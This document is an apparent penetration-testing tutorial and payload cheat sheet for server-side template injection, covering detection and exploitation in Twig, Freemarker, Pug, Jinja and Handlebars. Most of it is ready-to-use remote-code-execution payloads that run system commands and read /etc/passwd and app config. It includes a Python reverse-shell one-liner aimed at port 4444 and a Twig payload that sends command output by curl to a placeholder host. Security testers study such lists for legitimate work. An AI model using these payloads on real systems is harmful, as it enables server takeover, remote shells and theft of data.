Server-side Template Injection - Discovery and Exploitation

Server-side Template Injection

Server-side Template Injection (SSTI) is becoming a more common vulnerability in web applications as more developers move to use templating engines. when developers misuse a templating engine, they can introduce vulnerabilities that range from XSS to remote code execution.

Discovery

Our first step is to determine which templating engine the target is using.

We can use following payload to test for SSTI manualy.

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
@(1+2)
${7*'7'}
{{ this }} 

Payload to test for SSTI using burp intruder.

{{4*4}}[[5*5]]
{{7*7}}
{{7*'7'}}
<%= 7 * 7 %>
${3*3}
${{7*7}}
@(1+2)
#{3*3}
#{ 7 * 7 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
{{'a'.toUpperCase()}} 
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
{{self._TemplateReference__context.cycler.__init__.__globals__.os}}
{{self._TemplateReference__context.joiner.__init__.__globals__.os}}
{{self._TemplateReference__context.namespace.__init__.__globals__.os}}
{{cycler.__init__.__globals__.os}}
{{joiner.__init__.__globals__.os}}
{{namespace.__init__.__globals__.os}}

Exploitation

Our major goal is to collect RCE once we’ve located a template engine and determined which engine is in use. This, however, may not always be possible.

  • XSS is the most exploitable of the templating engines that are rendered on the client.
  • If the templating engine has access to the underlying language, we might be able to get RCE for server-side rendering.
  • We may be able to read files from the local system or display sensitive variables if this is not the case.

We will cover the following template injection

  1. Twig - Discovery and Exploitation
  2. Apache Freemarker - Discovery and Exploitation
  3. Pug - Discovery and Exploitation
  4. Jinja - Discovery and Exploitation
  5. Mustache and Handlebars - Discovery and Exploitation

TWIG PHP (Symfony)

TWIG is commonly paired with PHP applications. Such as Symfony framework.

The basic syntex of Twig template.

{% if not admin %}sudo {% endif %}I am feeling great, {{name|capitalize}}

Payload to Detect if PHP language.

{{7*'7'}}

The output is 25. This is because PHP does not check the type of the variable and will automatically treat ‘5’ like the number 5. We can leverage this to help us discover what templating engine is in use

Payload To Detect TWIG

Twig allows us to trim whitespace by adding a “-” character to the delimiter.  This means that if we add a couple of extra spaces, use a statement with the “-” character, then inspect the output, the extra whitespaces should be removed if the target is running Twig.

This
is
Not
     {{-'Whitespace'-}}

TWIG Exploitation.

Twig does not advertise direct access to its underlying language (PHP). it does provide several filters that might be useful for us. For example, filters like filter, join, map, reduce, slice, and sort they might accept functions for additional processing.

{{SECRET_ARRAY|join }}

RCE Payload.

{{[0]|reduce('system','cat /opt/data/flag.txt') }}

Out of bound exploitation Payload

{% set output %}
{{[0]|reduce('system','id')}}
{% endset %}
{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://x.x.x.x/?exfil=' ~ exfil)}}

Freemarker JAVA

Apache Freemarker is commonly paired with Java applications

The basic syntex of Freemarker template.

<h1>Hello ${name}!</h1>
<#if name == "khan">
The best reasons you will win :
  <#list reasons as reason>
   ${reason?index + 1}: ${reason}
  </#list>
</#if>

Payload to Detect if Java language.

${7*'7'}

In the output error will occured. This is because JAVa does check the type of the variable.

Payload To Detect Freemarker

${7*'7'}

we notice “${” is used as a delimiter, and the application crashes when multiplying a string, we can guess that the target is running Freemarker.

<#list SECRET_ARRAY as x>
  ${x}
</#list>

RCE Payload.

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

PUG NodeJS

Pug, previously known as Jade. Pug is commonly integrated with the Express2 framework in a NodeJS3 application.

The basic syntex of PUG template.

h1 Hello, #{name}
input(type='hidden' name='admin' value='true')

if showSecret
  - secret = ['A','B', 'C']
  p The Topsecrets are: 
  each val in secret
    p #{val}
else
  p No data for you!

Payload To Detect PUG

We’ll use the payload

#{"7"*7}
  1. We’ll know that we are most likely dealing with a language that is not strictly handling variables, like JavaScript or PHP.
  2. Pug expects the first word of a line to be a tag, it will encompass this in &lt and &gt signs. we notice “<49>” as output.

Payload To Exploit PUG

  1. Check if require is present.
- require
  1. We dont have direct access to require object. We can use global variables.
- global.process.mainModule.require
  1. Now we can call require.
- var require = global.process.mainModule.require
- require('child_process')
  1. Exploit using spawansync
- var require = global.process.mainModule.require
= require('child_process').spawnSync('cat', ['/etc/passwd']).stdout

Jinja Python

Jinja is a templating engine for Python.

The basic syntex of Jinja template.

<h1>Hey {{ name }}</h1>
{% if reasons %}
The best reasons you will win :
<ul>
{% for r in reasons %}
	<li>{{r}}</li>
{% endfor %}
</ul>
{% endif %}

Payload To Detect Jinja

{{5*"5"}}
  1. First indicator output will be 55555.
  2. Another indicator is accessing global variables.
  3. Jinja has six global variables: config, request, session, g, url_for(), and get_flashed_messages().

Payload To print sensitive information.

{{config|pprint}}

Mustache and Handlebars

Handlebars libraries are avilable for Java, .NET, PHP.

The basic syntex of Handlebars template.

<h1>Hello {{name}}</h1>
  {{#if vorname}}
  Also known as:
    {{#each vorname}}
        {{this}}
    {{/each}}
  {{/if}}

Payload To read directories.

 {{#each (readdir '/etc')}}
        {{this}}
   {{/each}}
  

Payload To read file.

{{read '/etc/passwd'}}

Automate Tools

https://github.com/epinna/tplmap

Refrences